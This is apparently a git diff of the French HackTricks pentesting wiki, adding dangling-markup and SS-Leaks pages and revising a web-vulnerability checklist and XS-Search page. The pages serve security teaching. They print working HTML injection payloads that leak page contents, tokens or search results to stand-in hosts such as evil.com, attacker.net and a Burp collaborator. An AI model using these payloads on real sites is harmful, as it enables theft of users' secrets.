 <form action="/change_settings.php">                        ← Existing form (ignored by the parser)
 ...
 <input type="text" name="invite_user" value="">             ← Subverted field
 ...
 <input type="hidden" name="xsrf_token" value="12345">
 ...
 </form>
 ```
 ### Vol de secrets en texte clair via noscript
 `<noscript></noscript>` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à l'adresse [chrome://settings/content/javascript](chrome://settings/content/javascript)).
 Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par l'attaquant sera d'injecter ceci :
 ```markup
 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 ```
 ### Contournement de CSP avec interaction utilisateur
 À partir de cette [recherche de PortSwigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements les plus restreints par CSP, vous pouvez toujours **exfiltrer des données** avec une certaine **interaction utilisateur**. Cette fois-ci, nous allons utiliser la charge utile :
 ```markup
 <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
 <base target='
 ```
 Notez que vous demanderez à la **victime** de **cliquer sur un lien** qui le **redirigera** vers une **charge utile** contrôlée par vous. Notez également que l'attribut **`target`** à l'intérieur de la balise **`base`** contiendra du **contenu HTML** jusqu'à la prochaine apostrophe.\
 Cela fera en sorte que la **valeur** de **`window.name`** lorsque le lien est cliqué sera tout ce **contenu HTML**. Par conséquent, comme vous **contrôlez la page** à laquelle la victime accède en cliquant sur le lien, vous pouvez accéder à cette **`window.name`** et **exfiltrer** ces données :
 ```markup
 <script>
 if(window.name) {
 new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
 </script>
 ```
 ### Flux de travail trompeur 1 - Attaque de l'espace de noms HTML
 Insérez une nouvelle balise avec un identifiant à l'intérieur de l'HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée:
 ```markup
 <input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
 ...
 Share this status update with:                              ← Legitimate optional element of a dialog
 <input id='share_with' value=''>
 ...
 function submit_status_update() {
 ...
 request.share_with = document.getElementById('share_with').value;
 ...
 }
 ```
 ### Flux de travail trompeur du script 2 - Attaque de l'espace de noms du script
 Créez des variables à l'intérieur de l'espace de noms du javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application:
 ```markup
 <img id='is_public'>                                        ← Injected markup
 ...
 // Legitimate application code follows
 function retrieve_acls() {
 ...
 if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
 is_public = true;
 else
 is_public = false;
 }
 function submit_new_acls() {
 ...
 if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
 ...
 }
 ```
 ### Abus de JSONP
 Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
 ```markup
 <script src='/editor/sharing.js'>:              ← Legitimate script
 function set_sharing(public) {
 if (public) request.access_mode = AM_PUBLIC;
 else request.access_mode = AM_PRIVATE;
 ...
 }
 <script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
 set_sharing({ ... })
 ```
 Ou vous pouvez même essayer d'exécuter du javascript:
 ```markup
 <script src='/search?q=a&call=alert(1)'></script>
 ```
 ### Abus de l'élément iframe
 Notez qu'un **document enfant peut afficher et définir la propriété de localisation du parent, même s'il est en provenance d'un autre domaine.** Cela signifie que vous pouvez faire en sorte que le client accède à n'importe quelle autre page en chargeant à l'intérieur d'un **iframe** du code tel que :
 ```markup
 <html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
 ```
 Cela peut être atténué avec quelque chose comme : _**sandbox=’ allow-scripts allow-top-navigation’**_
 Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une autre page **en utilisant l'attribut name de l'iframe**. Cela est possible car vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les **informations sensibles à l'intérieur de l'attribut name de l'iframe** et ensuite y accéder depuis l'iframe initial et les divulguer.
 ```html
 <script>
 function cspBypass(win) {
 win[0].location = 'about:blank';
 setTimeout(()=>alert(win[0].name), 500);
 }
 </script>
 <iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
 ```
 Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
 ### \<meta abus
 Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions** telles que définir un cookie : `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou effectuer une redirection (dans 5s dans ce cas) : `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
 Cela peut être **évité** avec une **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
 ### Nouvelle balise HTML \<portal
 Vous pouvez trouver une recherche très **intéressante** sur les vulnérabilités exploitables de la balise \<portal [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
 Au moment de la rédaction de cet article, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
 ```markup
 <portal src='https://attacker-server?
 ```
 ### Fuites HTML
 Toutes les façons de divulguer la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Consultez-les ici: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
 ## Fuites SS
 Il s'agit d'un **mélange** entre **dangling markup et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous attaquerons. D'un autre côté, nous n'**attaquerons** pas directement la page où nous pouvons injecter du HTML, mais **une autre page**.
 {% content-ref url="ss-leaks.md" %}
 [ss-leaks.md](ss-leaks.md)
 {% endcontent-ref %}
 ## XS-Search/XS-Leaks
 XS-Search est orienté vers l'**exfiltration d'informations entre origines** en exploitant des **attaques de canal secondaire**. Par conséquent, il s'agit d'une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'**injection CSS** ou le **chargement paresseux des images**.
 {% content-ref url="../xs-search.md" %}
 [xs-search.md](../xs-search.md)
 {% endcontent-ref %}
 ## Liste de détection de force brute
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
 ## Références
 Toutes les techniques présentées ici et plus encore peuvent être consultées en détail sur:
 {% embed url="http://lcamtuf.coredump.cx/postxss/" %}
 D'autres balises HTML qui peuvent être abusées peuvent être trouvées ici:
 {% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
 Plus d'informations:
 {% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
--- a/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md
+++ b/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md
@ -0,0 +1,85 @@
 # Fuites de SS
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
 Il s'agit d'un **mélange** entre **markup suspendu et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas du JS) dans une page de la **même origine** que celle que nous attaquerons. D'un autre côté, nous n'**attaquerons** pas directement la page dans laquelle nous pouvons injecter du HTML, mais **une autre page**.
 ## Objets imbriqués
 Si le point de terminaison <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> renvoie un code d'état 404, alors l'objet interne est chargé, donnant un rappel à <mark style="color:yellow;">`https://evil.com?callback=a`</mark> et nous indiquant que la requête de recherche `a` n'a donné aucun résultat.
 ```html
 <object data="/api/v1/leaky?secret=a">
 <object data="https://evil.com?callback=a"></object>
 </object>
 ```
 ### Chargement paresseux
 Et si CSP bloque les objets externes ? Essayons à nouveau avec le CSP suivant :
 <mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
 Notre rappel `object` précédent ne fonctionne plus. À la place, nous pouvons utiliser le [chargement paresseux](https://developer.mozilla.org/fr/docs/Web/Performance/Lazy_loading) d'images ! L'image suivante ne se chargera que lorsqu'elle sera visible et à une certaine distance de la fenêtre d'affichage.
 ```html
 <object data="/api/v1/leaky?secret=a">
 <img src="https://evil.com?callback" loading="lazy">
 </object>
 ```
 ### Images Réactives
 La technique ci-dessus est excellente, mais elle repose sur notre injection HTML se trouvant dans le champ de vision de l'utilisateur.
 Si l'injection est hors de l'écran et que l'utilisateur ne fait pas défiler, pouvons-nous toujours divulguer des données ? Bien sûr, nous pouvons utiliser des identifiants d'éléments et [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) pour créer une URL qui force un défilement, mais cela dépend de l'interaction de l'utilisateur et ne nous permet pas d'obtenir des fuites cohérentes dans un scénario réel. Idéalement, nous voulons armer l'injection HTML stockée de manière fiable.
 Entrez les images réactives ! Plus précisément, les attributs `srcset` et `sizes` des images.
 {% code overflow="wrap" %}
 ```html
 <object data="/api/v1/leaky?secret=a">
 <iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
 </object>
 ```
 {% endcode %}
 Il y a plusieurs choses à comprendre ici. Tout d'abord, rappelez-vous que l'iframe interne ne sera visible que si le point de terminaison fuyant renvoie un code d'état 404.
 C'est important car nous allons maintenant charger conditionnellement l'image dans l'iframe à partir de deux URL différentes. En utilisant l'attribut `sizes`, nous pouvons utiliser des [requêtes média](https://developer.mozilla.org/fr/docs/Web/CSS/Requ%C3%AAtes_m%C3%A9dia_CSS/Utiliser_des_requ%C3%AAtes_m%C3%A9dia) pour choisir à partir de quelle URL charger l'image, en fonction de la taille de l'affichage. 
 {% code overflow="wrap" %}
 ```html
 <img
 srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
 sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
 >
 ```
 {% endcode %}
 Étant donné que notre iframe a une largeur de `width="1000px"`, les événements suivants se produisent :
 1. Si le point de terminaison de fuite renvoie un code d'état 404, l'iframe est affichée et a une largeur de 1000px. L'image à l'intérieur de l'iframe correspond à la requête média `(min-width: 1000px)` et charge l'image de 800px à partir de `https://evil.com?callback=0`.
 2. Si le point de terminaison de fuite renvoie un code d'état 200, l'iframe n'est _pas_ affichée. Étant donné que l'image n'est pas rendue dans le cadre d'une grande iframe, elle correspond à la requête média `(max-width 999px)` et charge l'image de 480px à partir de `https://evil.com?callback=1`.
 ## Références
 * [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
--- a/pentesting-web/web-vulnerabilities-methodology/README.md
+++ b/pentesting-web/web-vulnerabilities-methodology/README.md
@ -7,46 +7,143 @@
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
-Dans chaque test de pénétration Web, il y a **plusieurs endroits évidents et cachés qui pourraient être vulnérables**. Ce post est destiné à être une liste de contrôle pour confirmer que vous avez cherché des vulnérabilités dans tous les endroits possibles.
+Dans chaque test de pénétration Web, il existe **plusieurs endroits cachés et évidents qui peuvent être vulnérables**. Cet article est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles.
 ## Proxies
 {% hint style="info" %}
-De nos jours, les **applications Web** utilisent généralement des **proxys intermédiaires**, qui peuvent être (abusés) pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles nécessitent généralement également une vulnérabilité supplémentaire dans le backend.
+De nos jours, les **applications Web** utilisent généralement des **proxies intermédiaires**, qui peuvent être (abusés) pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles nécessitent généralement également une vulnérabilité supplémentaire dans le backend.
 {% endhint %}
 * [ ] [**Abus des en-têtes hop-by-hop**](../abusing-hop-by-hop-headers.md)
-* [ ] [**Empoisonnement de cache / Tromperie de cache**](../cache-deception.md)
+* [ ] [**Empoisonnement de cache/Duperie de cache**](../cache-deception.md)
 * [ ] [**Smuggling de requêtes HTTP**](../http-request-smuggling/)
 * [ ] [**Smuggling H2C**](../h2c-smuggling.md)
-* [ ] [**Inclusion côté serveur / Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
+* [ ] [**Inclusion côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
 * [ ] [**Découverte de Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
 * [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
 ## **Entrée utilisateur**
 {% hint style="info" %}
-La plupart des applications Web permettront aux utilisateurs de saisir des données qui seront traitées plus tard.\
+La plupart des applications Web permettront aux utilisateurs de saisir des données qui seront traitées ultérieurement.\
-Selon la structure des données que le serveur attend, certaines vulnérabilités peuvent ou non s'appliquer.
+Selon la structure des données attendue par le serveur, certaines vulnérabilités peuvent s'appliquer ou non.
 {% endhint %}
 ### **Valeurs réfléchies**
-Si les données introduites peuvent être d'une certaine manière reflétées dans la réponse, la page pourrait être vulnérable à plusieurs problèmes.
+Si les données introduites peuvent être d'une certaine manière réfléchies dans la réponse, la page pourrait être vulnérable à plusieurs problèmes.
-* [ ] [**Injection de modèle côté client**](../client-side-template-injection-csti.md)
+* [ ] [**Injection de modèles côté client**](../client-side-template-injection-csti.md)
-* [ ] [**Injection de commande**](../command-injection.md)
+* [ ] [**Injection de commandes**](../command-injection.md)
 * [ ] [**CRLF**](../crlf-0d-0a.md)
-* [ ] [**Balises suspendues**](../dangling-markup-html-scriptless-injection.md)
+* [ ] [**Balises en suspens**](../dangling-markup-html-scriptless-injection/)
-* [ ] [**Inclusion de fichier / Traversal de chemin**](../file-inclusion/)
+* [ ] [**Inclusion de fichiers/Traversée de chemin**](../file-inclusion/)
 * [ ] [**Redirection ouverte**](../open-redirect.md)
-* [ ] [**Pollution de prototype pour XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
+* [ ] [**Pollution de prototype vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
-* [ ] [**Injection côté serveur / Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
+* [ ] [**Injection côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
 * [ ] [**Forgery de requête côté serveur**](../ssrf-server-side-request-forgery/)
-* [ ] [**Injection de modèle côté serveur**](../ssti-server-side-template-injection/)
+* [ ] [**Injection de modèles côté serveur**](../ssti-server-side-template-injection/)
-* [ ] [**Tab
+* [ ] [**Tab Nabbing inversé**](../reverse-tab-nabbing.md)
 * [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
 * [ ] [**XSS**](../xss-cross-site-scripting/)
 * [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 * [ ] [**XS-Search**](../xs-search.md)
 Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent simplement que le contenu soit réfléchi. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans :
 {% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
 [pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
 {% endcontent-ref %}
 ### **Fonctionnalités de recherche**
 Si la fonctionnalité peut être utilisée pour rechercher un certain type de données dans le backend, vous pouvez peut-être (ab)user de cette fonctionnalité pour rechercher des données arbitraires.
 * [ ] [**Inclusion de fichiers/Traversée de chemin**](../file-inclusion/)
 * [ ] [**Injection NoSQL**](../nosql-injection.md)
 * [ ] [**Injection LDAP**](../ldap-injection.md)
 * [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
 * [ ] [**Injection SQL**](../sql-injection/)
 * [ ] [**Injection XPATH**](../xpath-injection.md)
 ### **Formulaires, WebSockets et PostMsgs**
 Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent survenir.
 * [ ] [**Cross-Site Request Forgery (CSRF)**](../csrf-cross-site-request-forgery.md)
 * [ ] [**Hijacking de WebSocket entre sites (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
 * [ ] [**Vulnérabilités de PostMessage**](../postmessage-vulnerabilities/)
 ### **En-têtes HTTP**
 Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
 * [ ] [**Clickjacking**](../clickjacking.md)
 * [ ] [**Contournement de la politique de sécurité du contenu (CSP)**](../content-security-policy-csp-bypass/)
 * [ ] [**Piratage des cookies**](../hacking-with-cookies/)
 * [ ] [**CORS - Mauvaises configurations et contournement**](../cors-bypass.md)
 ### **Contournements**
 Il existe plusieurs fonctionnalités spécifiques pour lesquelles des contournements peuvent être utiles pour les contourner.
 * [ ] [**Contournement de la 2FA/OTP**](../2fa-bypass.md)
 * [ ] [**Contournement du processus de paiement**](../bypass-payment-process.md)
 * [ ] [**Contournement de CAPTCHA**](../captcha-bypass.md)
 * [ ] [**Contournement de la connexion**](../login-bypass/)
 * [ ] [**Condition de concurrence**](../race-condition.md)
 * [ ] [**Contournement de la limite de taux**](../rate-limit-bypass.md)
 * [ ] [**Contournement de la réinitialisation du mot de passe oublié**](../reset-password.md)
 * [ ] [**Vulnérabilités d'inscription**](../registration-vulnerabilities.md)
 ### **Objets structurés / Fonctionnalités spécifiques**
 Certaines fonctionnalités nécessitent que les données soient structurées dans un format très spécifique (comme un objet sérialisé en langage ou XML). Il est donc plus facile d'identifier si l'application peut être vulnérable car elle doit traiter ce type de données.\
 Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête de courrier électronique).
 * [ ] [**Désérialisation**](../deserialization/)
 * [ ] [**Injection d'en-tête de courrier électronique**](../email-injections.md)
 * [ ] [**Vulnérabilités JWT (JSON Web Tokens)**](../hacking-jwt-json-web-tokens.md)
 * [ ] [**Entité XML externe**](../xxe-xee-xml-external-entity.md)
 ### Fichiers
 Les fonctionnalités permettant de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\
 Les fonctionnalités générant des fichiers incluant une entrée utilisateur peuvent exécuter un code inattendu.\
 Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou générés automatiquement incluant une entrée utilisateur peuvent être compromis.
 * [ ] [**Téléchargement de fichiers**](../file-upload/)
 * [ ] [**Injection de formule**](../formula-doc-latex-injection.md)
 * [ ] [**Injection de PDF**](../xss-cross-site-scripting/pdf-injection.md)
 * [ ] [**XSS côté serveur**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 ### **Gestion externe de l'identité**
 * [ ] [**OAUTH pour la prise de contrôle de compte**](../oauth-to-account-takeover.md)
 * [ ] [**Attaques SAML**](../saml-attacks/)
 ### **Autres vulnérabilités utiles**
 Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
 * [ ] [**Prise de contrôle de domaine/sous-domaine**](../domain-subdomain-takeover.md)
 * [ ] [**IDOR**](../idor.md)
 * [ ] [**Pollution de paramètres**](../parameter-pollution.md)
 * [ ] [**Vulnérabilité de normalisation Unicode**](../unicode-injection/)
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
--- a/pentesting-web/xs-search.md
+++ b/pentesting-web/xs-search.md
@ -87,7 +87,7 @@ Accédez-y dès aujourd'hui :
 ### Onload/Onerror
-* **Méthodes d'inclusion** : Frames, éléments HTML
+* **Méthodes d'inclusion** : Frames, Éléments HTML
 * **Différence détectable** : Code d'état
 * **Plus d'informations** : [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
 * **Résumé** : si on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échec, il est possible de déterminer le code d'état.
@ -157,14 +157,14 @@ Si une page n'a pas mis en place de [protections de cadrage](https://xsleaks.dev
 Supposons que vous puissiez **insérer** la **page** qui contient le **contenu secret** à l'intérieur d'un iframe.
-Vous pouvez **faire en sorte que la victime recherche** le fichier contenant "_**flag**_" en utilisant un **iframe** (en exploitant par exemple une CSRF). À l'intérieur de l'iframe, vous savez que l'événement _**onload**_ sera **toujours exécuté au moins une fois**. Ensuite, vous pouvez **modifier** l'**URL** de l'**iframe** en ne changeant que le **contenu** du **hash** dans l'URL.
+Vous pouvez faire en sorte que la victime recherche le fichier contenant "_**flag**_" en utilisant un iframe (en exploitant par exemple une CSRF). À l'intérieur de l'iframe, vous savez que l'événement _**onload**_ sera **toujours exécuté au moins une fois**. Ensuite, vous pouvez **modifier** l'**URL** de l'**iframe** en ne changeant que le **contenu** du **hash** dans l'URL.
 Par exemple:
 1. **URL1**: www.attacker.com/xssearch#try1
 2. **URL2**: www.attacker.com/xssearch#try2
-Si la première URL a été **chargée avec succès**, alors, en **changeant** la partie **hash** de l'URL, l'événement **onload** ne sera **plus déclenché**. Mais **si** la page a rencontré une **erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**.
+Si la première URL a été **chargée avec succès**, alors, en **modifiant** la partie **hash** de l'URL, l'événement **onload** ne sera **pas déclenché à nouveau**. Mais **si** la page a rencontré une **erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**.
 Ainsi, vous pouvez **distinguer** une page **chargée correctement** d'une page qui présente une **erreur** lorsqu'elle est consultée.
@ -173,7 +173,7 @@ Ainsi, vous pouvez **distinguer** une page **chargée correctement** d'une page
 * **Méthodes d'inclusion**: Frames
 * **Différence détectable**: Contenu de la page
